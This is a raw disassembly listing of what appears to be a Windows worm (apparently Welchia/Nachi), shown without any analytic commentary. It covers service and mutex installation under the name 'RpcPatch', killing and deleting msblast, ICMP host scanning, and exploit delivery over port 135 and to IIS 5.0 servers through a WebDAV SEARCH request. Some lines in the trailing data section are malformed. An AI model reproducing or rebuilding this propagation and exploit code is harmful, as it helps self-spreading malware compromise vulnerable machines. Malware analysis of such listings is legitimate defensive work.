		mov	edi, eax
		test	edi, edi
		jnz	short loc_402755
		pop	edi
		mov	eax, 11111111h
		pop	esi
		add	esp, 1Ch
		retn
; ---------------------------------------------------------------------------


loc_402755:				; CODE XREF: sub_402730+18j
		push	0F01FFh
		push	offset aRpcpatch ; "RpcPatch"
		push	edi
		call	dword_404038	; OpenServiceA
		mov	esi, eax
		test	esi, esi
		jnz	short loc_402777
		pop	edi
		mov	eax, 22222222h
		pop	esi
		add	esp, 1Ch
		retn
; ---------------------------------------------------------------------------


loc_402777:				; CODE XREF: sub_402730+3Aj
		lea	eax, [esp+24h+var_1C]
		push	eax
		push	esi
		call	dword_40401C	; QueryServiceStatus
		test	eax, eax
		push	esi
		mov	esi, dword_404034
		jnz	short loc_40279E
		call	esi ; dword_404034
		push	edi
		call	esi ; dword_404034
		pop	edi
		mov	eax, 33333333h
		pop	esi
		add	esp, 1Ch
		retn
; ---------------------------------------------------------------------------


loc_40279E:				; CODE XREF: sub_402730+5Cj
		call	esi ; dword_404034
		push	edi
		call	esi ; dword_404034
		mov	eax, [esp+24h+var_18]
		pop	edi
		pop	esi
		add	esp, 1Ch
		retn
sub_402730	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4027B0	proc near		; CODE XREF: sub_4011C0+6p
		push	offset aRpcpatch_mutex ; "RpcPatch_Mutex"
		push	0
		push	0
		call	dword_404084	; CreateMutexA
		test	eax, eax
		jz	short loc_4027D3
		call	dword_404060	; RtlGetLastWin32Error
		cmp	eax, 0B7h
		jz	short loc_4027D3
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4027D3:				; CODE XREF: sub_4027B0+11j
					; sub_4027B0+1Ej
		mov	eax, 1
		retn
sub_4027B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4027E0	proc near		; CODE XREF: sub_4011C0:loc_4011FCj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 10h
		xor	eax, eax
		mov	[esp+10h+var_10], offset aRpcpatch ; "RpcPatch"
		mov	[esp+10h+var_8], eax
		mov	[esp+10h+var_4], eax
		lea	eax, [esp+10h+var_10]
		mov	[esp+10h+var_C], offset	loc_402920
		push	eax
		call	dword_404018	; StartServiceCtrlDispatcherA
		neg	eax
		sbb	eax, eax
		neg	eax
		dec	eax
		add	esp, 10h
		retn
sub_4027E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402820	proc near		; CODE XREF: sub_402880+1Ap
					; sub_402880+33p ...

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 1Ch
		mov	eax, [esp+1Ch+arg_0]
		mov	ecx, [esp+1Ch+arg_8]
		mov	dword_405BA0, eax
		mov	[esp+1Ch+var_18], eax
		mov	eax, [esp+1Ch+arg_4]
		lea	edx, [esp+1Ch+var_1C]
		mov	[esp+1Ch+var_10], eax
		mov	eax, ds:dword_4076A8
		push	edx
		push	eax
		mov	[esp+24h+var_1C], 10h
		mov	[esp+24h+var_14], 5
		mov	[esp+24h+var_C], 0
		mov	[esp+24h+var_8], ecx
		mov	[esp+24h+var_4], 0BB8h
		call	dword_404014	; SetServiceStatus
		add	esp, 1Ch
		retn
sub_402820	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402880	proc near		; DATA XREF: seg000:loc_402920o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		dec	eax
		cmp	eax, 3		; switch 4 cases
		ja	short locret_402909 ; default
		jmp	off_40290C[eax*4] ; switch jump


loc_402891:				; DATA XREF: seg000:off_40290Co
		push	1388h		; jumptable 0040288A case 0
		push	0
		push	3
		call	sub_402820
		add	esp, 0Ch
		push	3E8h
		call	dword_4040C8	; Sleep
		push	0
		push	0
		push	1
		call	sub_402820
		add	esp, 0Ch
		retn	4
; ---------------------------------------------------------------------------


loc_4028BE:				; CODE XREF: sub_402880+Aj
					; DATA XREF: seg000:off_40290Co
		push	1		; jumptable 0040288A case 1
		push	0
		push	6
		call	sub_402820
		push	0
		push	0
		push	7
		call	sub_402820
		add	esp, 18h
		retn	4
; ---------------------------------------------------------------------------


loc_4028DA:				; CODE XREF: sub_402880+Aj
					; DATA XREF: seg000:off_40290Co
		push	1		; jumptable 0040288A case 2
		push	0
		push	5
		call	sub_402820
		push	0
		push	0
		push	4
		call	sub_402820
		add	esp, 18h
		retn	4
; ---------------------------------------------------------------------------


loc_4028F6:				; CODE XREF: sub_402880+Aj
					; DATA XREF: seg000:off_40290Co
		mov	ecx, dword_405BA0 ; jumptable 0040288A case 3
		push	0
		push	0
		push	ecx
		call	sub_402820
		add	esp, 0Ch

locret_402909:				; CODE XREF: sub_402880+8j
		retn	4		; default
sub_402880	endp

; ---------------------------------------------------------------------------
off_40290C	dd offset loc_402891	; DATA XREF: sub_402880+Ar
		dd offset loc_4028BE	; jump table for switch	statement
		dd offset loc_4028DA
		dd offset loc_4028F6
		align 10h


loc_402920:				; DATA XREF: sub_4027E0+19o
		push	offset sub_402880
		push	offset aRpcpatch ; "RpcPatch"
		call	dword_404010	; RegisterServiceCtrlHandlerA
		test	eax, eax
		mov	ds:dword_4076A8, eax
		jz	short locret_40296D
		push	1
		push	0
		push	2
		call	sub_402820
		push	0
		push	0
		push	4
		call	sub_402820
		call	sub_401280
		push	0
		push	0
		push	3
		call	sub_402820
		push	0
		push	0
		push	1
		call	sub_402820
		add	esp, 30h

locret_40296D:				; CODE XREF: seg000:00402937j
		retn	8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402970	proc near		; CODE XREF: sub_401280+4Ep

var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		mov	esi, dword_4040A8
		lea	eax, [ebp+var_10C]
		push	104h
		push	eax
		push	0
		call	esi ; dword_4040A8
		lea	ecx, [ebp+var_10C]
		push	ecx
		call	dword_404074	; GetFileAttributesA
		test	al, 1
		jz	short loc_4029B1
		and	al, 0FEh
		lea	edx, [ebp+var_10C]
		push	eax
		push	edx
		call	dword_404078	; SetFileAttributesA


loc_4029B1:				; CODE XREF: sub_402970+2Fj
		push	0
		call	dword_40407C	; GetModuleHandleA
		lea	ecx, [ebp+var_210]
		push	104h
		push	ecx
		push	eax
		mov	[ebp+var_4], eax
		call	esi ; dword_4040A8
		push	4
		call	dword_4040E0	; CloseHandle
		lea	eax, [ebp+var_210]
		push	0
		push	0
		push	eax
		push	dword_4040BC
		push	[ebp+var_4]
		push	dword_4040E8
		push	dword_404080
		retn
sub_402970	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402A00	proc near		; CODE XREF: sub_401280+1Ep
					; sub_401280+1D9p

var_108		= byte ptr -108h
var_107		= byte ptr -107h

		sub	esp, 108h
		push	esi
		push	edi
		push	offset aMsblast	; "msblast"
		call	sub_401000
		add	esp, 4
		test	eax, eax
		jz	short loc_402A48
		push	eax
		push	0
		push	1F0FFFh
		call	dword_404070	; OpenProcess
		mov	esi, eax
		test	esi, esi
		jz	short loc_402A48
		push	1
		push	esi
		call	dword_4040AC	; TerminateProcess
		push	1388h
		call	dword_4040C8	; Sleep
		push	esi
		call	dword_4040E0	; CloseHandle


loc_402A48:				; CODE XREF: sub_402A00+17j
					; sub_402A00+2Bj
		mov	ecx, 41h
		xor	eax, eax
		lea	edi, [esp+110h+var_107]
		mov	[esp+110h+var_108], 0
		rep stosd
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32"
		lea	eax, [esp+114h+var_108]
		push	offset aSMsblast_exe ; "%s\\msblast.exe"
		push	eax
		call	dword_40411C	; sprintf
		add	esp, 0Ch
		lea	ecx, [esp+110h+var_108]
		push	ecx
		call	dword_404074	; GetFileAttributesA
		pop	edi
		pop	esi
		test	al, 1
		jz	short loc_402A91
		and	al, 0FEh
		lea	edx, [esp+108h+var_108]
		push	eax
		push	edx
		call	dword_404078	; SetFileAttributesA


loc_402A91:				; CODE XREF: sub_402A00+81j
		lea	eax, [esp+108h+var_108]
		push	eax
		call	dword_4040E8	; DeleteFileA
		add	esp, 108h
		retn
sub_402A00	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402AB0	proc near		; CODE XREF: sub_402B20+26p
					; sub_402C40+27p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	sub_403122	; IcmpCreateFile
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_402AC3
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_402AC3:				; CODE XREF: sub_402AB0+Cj
		push	5Ch
		push	40h
		call	dword_404068	; GlobalAlloc
		mov	esi, eax
		test	esi, esi
		jnz	short loc_402ADE
		push	edi
		call	sub_40311C	; IcmpCloseHandle
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_402ADE:				; CODE XREF: sub_402AB0+21j
		mov	eax, [esp+8+arg_0]
		push	ebx
		push	7D0h
		push	5Ch
		push	esi
		push	0
		push	40h
		push	offset dword_406430
		push	eax
		push	edi
		mov	dword ptr [esi+10h], offset dword_406430
		mov	word ptr [esi+0Ch], 40h
		call	sub_403116	; IcmpSendEcho
		push	esi
		mov	ebx, eax
		call	dword_40406C	; GlobalFree
		push	edi
		call	sub_40311C	; IcmpCloseHandle
		mov	eax, ebx
		pop	ebx
		pop	edi
		pop	esi
		retn
sub_402AB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402B20	proc near		; DATA XREF: sub_401470+F0o

var_414		= word ptr -414h
var_410		= dword	ptr -410h
var_40C		= dword	ptr -40Ch
var_3FC		= byte ptr -3FCh
arg_0		= dword	ptr  4

		sub	esp, 414h
		push	ebp
		push	esi
		push	offset dword_4075A4
		call	dword_404088	; InterlockedIncrement
		mov	dword ptr [esp+41Ch+var_414], 0BB8h
		mov	ebp, [esp+41Ch+arg_0]
		mov	esi, [ebp+0]
		push	esi
		call	sub_402AB0
		add	esp, 4
		test	eax, eax
		jz	loc_402C17
		push	87h
		mov	word ptr [esp+420h+var_410], 2
		mov	[esp+420h+var_40C], esi
		call	dword_404174	; ntohs
		push	0
		push	1
		push	2
		mov	word ptr [esp+428h+var_410+2], ax
		call	dword_404150	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_402C17
		push	ebx
		push	edi
		lea	eax, [esp+424h+var_410]
		push	10h
		push	eax
		push	esi
		call	dword_404154	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402C0E
		mov	ebx, dword_404168
		push	0
		push	48h
		push	offset dword_405434
		push	esi
		call	ebx ; dword_404168
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402C0E
		lea	ecx, [esp+420h+var_410]
		push	4
		push	ecx
		push	1006h
		push	0FFFFh
		push	esi
		call	dword_404164	; setsockopt
		mov	edi, dword_40416C
		push	0
		lea	edx, [esp+424h+var_3FC]
		push	3E8h
		push	edx
		push	esi
		call	edi ; dword_40416C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402C0E
		test	eax, eax
		jz	short loc_402C0E
		mov	eax, dword_406420
		push	0
		push	eax
		push	offset dword_406470
		push	esi
		call	ebx ; dword_404168
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402C0E
		push	0
		lea	ecx, [esp+424h+var_3FC]
		push	400h
		push	ecx
		push	esi
		call	edi ; dword_40416C


loc_402C0E:				; CODE XREF: sub_402B20+7Bj
					; sub_402B20+92j ...
		push	esi
		call	dword_404170	; closesocket
		pop	edi
		pop	ebx


loc_402C17:				; CODE XREF: sub_402B20+30j
					; sub_402B20+62j
		test	ebp, ebp
		jz	short loc_402C24
		push	ebp
		call	sub_402FC6
		add	esp, 4


loc_402C24:				; CODE XREF: sub_402B20+F9j
		push	offset dword_4075A4
		call	dword_404064	; InterlockedDecrement
		pop	esi
		xor	eax, eax
		pop	ebp
		add	esp, 414h
		retn	4
sub_402B20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402C40	proc near		; DATA XREF: sub_401470+E1o

var_5AC		= word ptr -5ACh
var_5A8		= dword	ptr -5A8h
var_5A4		= dword	ptr -5A4h
var_594		= byte ptr -594h
var_574		= byte ptr -574h
var_2B8		= byte ptr -2B8h
arg_0		= dword	ptr  4

		sub	esp, 5ACh
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	offset dword_4075A4
		call	dword_404088	; InterlockedIncrement
		mov	dword ptr [esp+5BCh+var_5AC], 0BB8h
		mov	eax, [esp+5BCh+arg_0]
		mov	esi, [eax]
		push	esi
		call	sub_402AB0
		add	esp, 4
		test	eax, eax
		jz	loc_402EC5
		push	50h
		mov	word ptr [esp+5C0h+var_5A8], 2
		mov	[esp+5C0h+var_5A4], esi
		call	dword_404174	; ntohs
		push	0
		push	1
		push	2
		mov	word ptr [esp+5C8h+var_5A8+2], ax
		call	dword_404150	; socket
		mov	ebp, eax
		cmp	ebp, 0FFFFFFFFh
		jz	loc_402EC5
		lea	ecx, [esp+5BCh+var_5A8]
		push	10h
		push	ecx
		push	ebp
		call	dword_404154	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_402EBE
		push	esi
		call	dword_40415C	; inet_ntoa
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+5B8h+var_594]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	offset aConnectionKeep ; "\r\nConnection: Keep-Alive\r\n\r\n"
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		lea	edx, [esp+5BCh+var_574]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		lea	ecx, [esp+5BCh+var_594]
		push	ecx
		push	offset aGetHttp1_1Acce ; "GET /	HTTP/1.1\r\nAccept: image/gif, imag"...
		push	offset aSSS	; "%s%s%s"
		push	edx
		call	dword_40411C	; sprintf
		lea	edi, [esp+5CCh+var_574]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 14h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		lea	eax, [esp+5BCh+var_574]
		push	ecx
		push	eax
		push	ebp
		call	dword_404168	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_402EBE
		mov	ebx, dword_404164
		lea	ecx, [esp+5B8h+var_5A8]
		push	4
		push	ecx
		push	1006h
		push	0FFFFh
		push	ebp
		call	ebx ; dword_404164
		push	0
		lea	edx, [esp+5BCh+var_2B8]
		push	2BBh
		push	edx
		push	ebp
		call	dword_40416C	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_402EBE
		test	eax, eax
		jz	loc_402EBE
		mov	[esp+eax+5B8h+var_2B8],	0
		lea	eax, [esp+5B8h+var_2B8]
		push	offset aServerMicrosof ; "Server: Microsoft-IIS/5.0"
		push	eax
		call	dword_404100	; strstr
		add	esp, 8
		test	eax, eax
		jz	loc_402EBE
		push	ebp
		call	dword_404170	; closesocket
		mov	esi, dword_4040C8
		push	64h
		call	esi ; dword_4040C8
		push	0
		push	1
		push	2
		call	dword_404150	; socket
		mov	ebp, eax
		cmp	ebp, 0FFFFFFFFh
		jz	loc_402EC5
		lea	ecx, [esp+5BCh+var_5A8]
		push	10h
		push	ecx
		push	ebp
		call	dword_404154	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_402EBE
		lea	edx, [esp+5B8h+var_594]
		lea	eax, [esp+5B8h+var_574]
		push	edx
		push	offset aSearchHttp1_1H ; "SEARCH / HTTP/1.1\r\nHost: %s\r\n\r\n"
		push	eax
		call	dword_40411C	; sprintf
		lea	edi, [esp+5C4h+var_574]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 0Ch
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		lea	ecx, [esp+5C0h+var_574]
		push	ecx
		push	ebp
		call	dword_404168	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_402EBE
		lea	edx, [esp+5B8h+var_5A8]
		push	4
		push	edx
		push	1006h
		push	0FFFFh
		push	ebp
		call	ebx ; dword_404164
		push	0
		lea	eax, [esp+5BCh+var_2B8]
		push	63h
		push	eax
		push	ebp
		call	dword_40416C	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402EBE
		test	eax, eax
		jz	short loc_402EBE
		lea	ecx, [esp+5B8h+var_2B8]
		push	offset a411	; "411"
		push	ecx
		mov	[esp+eax+5C0h+var_2B8],	0
		call	dword_404100	; strstr
		add	esp, 8
		test	eax, eax
		jz	short loc_402EBE
		push	ebp
		call	dword_404170	; closesocket
		push	64h
		call	esi ; dword_4040C8
		push	0
		push	1
		push	2
		call	dword_404150	; socket
		mov	ebp, eax
		cmp	ebp, 0FFFFFFFFh
		jz	short loc_402EC5
		lea	edx, [esp+5BCh+var_5A8]
		push	10h
		push	edx
		push	ebp
		call	dword_404154	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402EBE
		push	64h
		call	esi ; dword_4040C8
		mov	edx, ds:dword_4075A0
		or	ecx, 0FFFFFFFFh
		mov	edi, edx
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	edx
		push	ebp
		call	sub_402F50
		add	esp, 0Ch
		push	0BB8h
		call	esi ; dword_4040C8


loc_402EBE:				; CODE XREF: sub_402C40+77j
					; sub_402C40+E9j ...
		push	ebp
		call	dword_404170	; closesocket


loc_402EC5:				; CODE XREF: sub_402C40+31j
					; sub_402C40+60j ...
		mov	eax, [esp+5BCh+arg_0]
		pop	edi
		pop	esi
		pop	ebp
		test	eax, eax
		pop	ebx
		jz	short loc_402EDD
		push	eax
		call	sub_402FC6
		add	esp, 4


loc_402EDD:				; CODE XREF: sub_402C40+292j
		push	offset dword_4075A4
		call	dword_404064	; InterlockedDecrement
		xor	eax, eax
		add	esp, 5ACh
		retn	4
sub_402C40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402F00	proc near		; CODE XREF: sub_401280+3Cp
					; sub_401280+46p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	0F003Fh
		push	0
		push	0
		call	dword_40402C	; OpenSCManagerA
		mov	edi, eax
		test	edi, edi
		jz	short loc_402F4B
		mov	eax, [esp+8+arg_0]
		push	0F01FFh
		push	eax
		push	edi
		call	dword_404038	; OpenServiceA
		mov	esi, eax
		test	esi, esi
		jnz	short loc_402F38
		push	edi
		call	dword_404034	; CloseServiceHandle
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_402F38:				; CODE XREF: sub_402F00+2Cj
		push	esi
		call	dword_40400C	; DeleteService
		push	esi
		mov	esi, dword_404034
		call	esi ; dword_404034
		push	edi
		call	esi ; dword_404034


loc_402F4B:				; CODE XREF: sub_402F00+15j
		pop	edi
		pop	esi
		retn
sub_402F00	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402F50	proc near		; CODE XREF: sub_402C40+26Fp

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+14h+arg_8]
		xor	ebx, ebx
		cmp	edi, ebx
		mov	[esp+14h+var_4], edi
		mov	[esp+14h+arg_8], ebx
		jle	short loc_402FA3
		mov	ebp, [esp+14h+arg_4]


loc_402F6B:				; CODE XREF: sub_402F50+51j
		mov	ecx, [esp+14h+arg_0]
		push	0
		lea	eax, [ebx+ebp]
		push	edi
		push	eax
		push	ecx
		call	dword_404168	; send
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_402FAD
		test	esi, esi
		jnz	short loc_402F9B
		cmp	[esp+14h+arg_8], 64h
		jge	short loc_402FAD
		push	5
		call	dword_4040C8	; Sleep
		inc	[esp+14h+arg_8]


loc_402F9B:				; CODE XREF: sub_402F50+36j
		sub	edi, esi
		add	ebx, esi
		test	edi, edi
		jg	short loc_402F6B


loc_402FA3:				; CODE XREF: sub_402F50+15j
		mov	eax, [esp+14h+var_4]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_402FAD:				; CODE XREF: sub_402F50+32j
					; sub_402F50+3Dj
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		pop	ecx
		retn
sub_402F50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402FC0	proc near		; CODE XREF: sub_401280+8Bp
					; sub_401470+9Bp ...
		jmp	dword_404108
sub_402FC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402FC6	proc near		; CODE XREF: sub_401C80+1EAp
					; sub_402B20+FCp ...
		jmp	dword_404138
sub_402FC6	endp

; ---------------------------------------------------------------------------


loc_402FCC:				; CODE XREF: seg001:004091B8j
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4041A8
		push	offset loc_403100
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		and	dword ptr [ebp-4], 0
		push	1
		call	dword_404128	; __set_app_type
		pop	ecx
		or	ds:dword_4076BC, 0FFFFFFFFh
		or	ds:dword_4076C0, 0FFFFFFFFh
		call	dword_404124	; __p__fmode
		mov	ecx, ds:dword_4076B8
		mov	[eax], ecx
		call	dword_404118	; __p__commode
		mov	ecx, ds:dword_4076B4
		mov	[eax], ecx
		mov	eax, dword_404114
		mov	eax, [eax]
		mov	ds:dword_4076C4, eax
		call	nullsub_1
		cmp	dword_406414, 0
		jnz	short loc_40304F
		push	offset sub_4030FA
		call	dword_404110	; __setusermatherr
		pop	ecx


loc_40304F:				; CODE XREF: seg000:00403041j
		call	sub_4030E8
		push	offset dword_40500C
		push	offset dword_405008
		call	sub_4030E2	; _initterm
		mov	eax, ds:dword_4076B0
		mov	[ebp-28h], eax
		lea	eax, [ebp-28h]
		push	eax
		push	ds:dword_4076AC
		lea	eax, [ebp-20h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		call	dword_4040F8	; __getmainargs
		push	offset dword_405004
		push	offset dword_405000
		call	sub_4030E2	; _initterm
		call	dword_40410C	; __p___initenv
		mov	ecx, [ebp-20h]
		mov	[eax], ecx
		push	dword ptr [ebp-20h]
		push	dword ptr [ebp-2Ch]
		push	dword ptr [ebp-1Ch]
		call	sub_4011C0
		add	esp, 30h
		mov	[ebp-24h], eax
		push	eax
		call	dword_4040F0	; exit
		mov	eax, [ebp-14h]
		mov	ecx, [eax]
		mov	ecx, [ecx]
		mov	[ebp-30h], ecx
		push	eax
		push	ecx
		call	sub_4030DC	; _XcptFilter
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		push	dword ptr [ebp-30h]
		call	dword_404134	; _exit

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4030DC	proc near		; CODE XREF: seg000:004030C8p
		jmp	dword_4040F4
sub_4030DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4030E2	proc near		; CODE XREF: seg000:0040305Ep
					; seg000:00403091p
		jmp	dword_4040FC
sub_4030E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4030E8	proc near		; CODE XREF: seg000:loc_40304Fp
		push	30000h
		push	10000h
		call	sub_403106	; _controlfp
		pop	ecx
		pop	ecx
		retn
sub_4030E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4030FA	proc near		; DATA XREF: seg000:00403043o
		xor	eax, eax
		retn
sub_4030FA	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
		align 10h


loc_403100:				; DATA XREF: seg000:00402FD6o
		jmp	dword_40412C

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_403106	proc near		; CODE XREF: sub_4030E8+Ap
		jmp	dword_404130
sub_403106	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_403110	proc near		; CODE XREF: sub_4016E0+10p
		jmp	dword_40419C
sub_403110	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_403116	proc near		; CODE XREF: sub_402AB0+53p
		jmp	dword_404058
sub_403116	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40311C	proc near		; CODE XREF: sub_402AB0+24p
					; sub_402AB0+62p
		jmp	dword_404050
sub_40311C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_403122	proc near		; CODE XREF: sub_402AB0+2p
		jmp	dword_404054
sub_403122	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_403128	proc near		; CODE XREF: sub_401000+C0p
		jmp	dword_4040DC
sub_403128	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40312E	proc near		; CODE XREF: sub_401000+7Cp
		jmp	dword_4040D8
sub_40312E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_403134	proc near		; CODE XREF: sub_401000+62p
		jmp	dword_4040D4
sub_403134	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0BBh	dup(0)
		db 0
byte_403429	db 0			; DATA XREF: seg002:0040B948r
					; seg002:loc_40B962r ...
byte_40342A	db 0			; DATA XREF: seg002:0040B994r
					; seg002:loc_40B9AFr ...
byte_40342B	db 0			; DATA XREF: seg002:0040B8F2r
					; seg002:0040B8FBr ...
		db 3 dup(0)
byte_40342F	db 0			; DATA XREF: seg002:0040B8E4r
					; seg002:0040B905r ...
byte_403430	db 0			; DATA XREF: seg002:0040BB2Ar
					; sub_40C1F9+73w ...
dword_403431	dd 0							; sub_40A38C+BEr ...
dword_403435	dd 0				db    0
		db    0
		db    0
dword_40343C	dd 0							; seg002:loc_40BD78r ...
dword_403440	dd 81h dup(0)
		db 2 dup(0)
dword_403646	dd 0				dd 0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
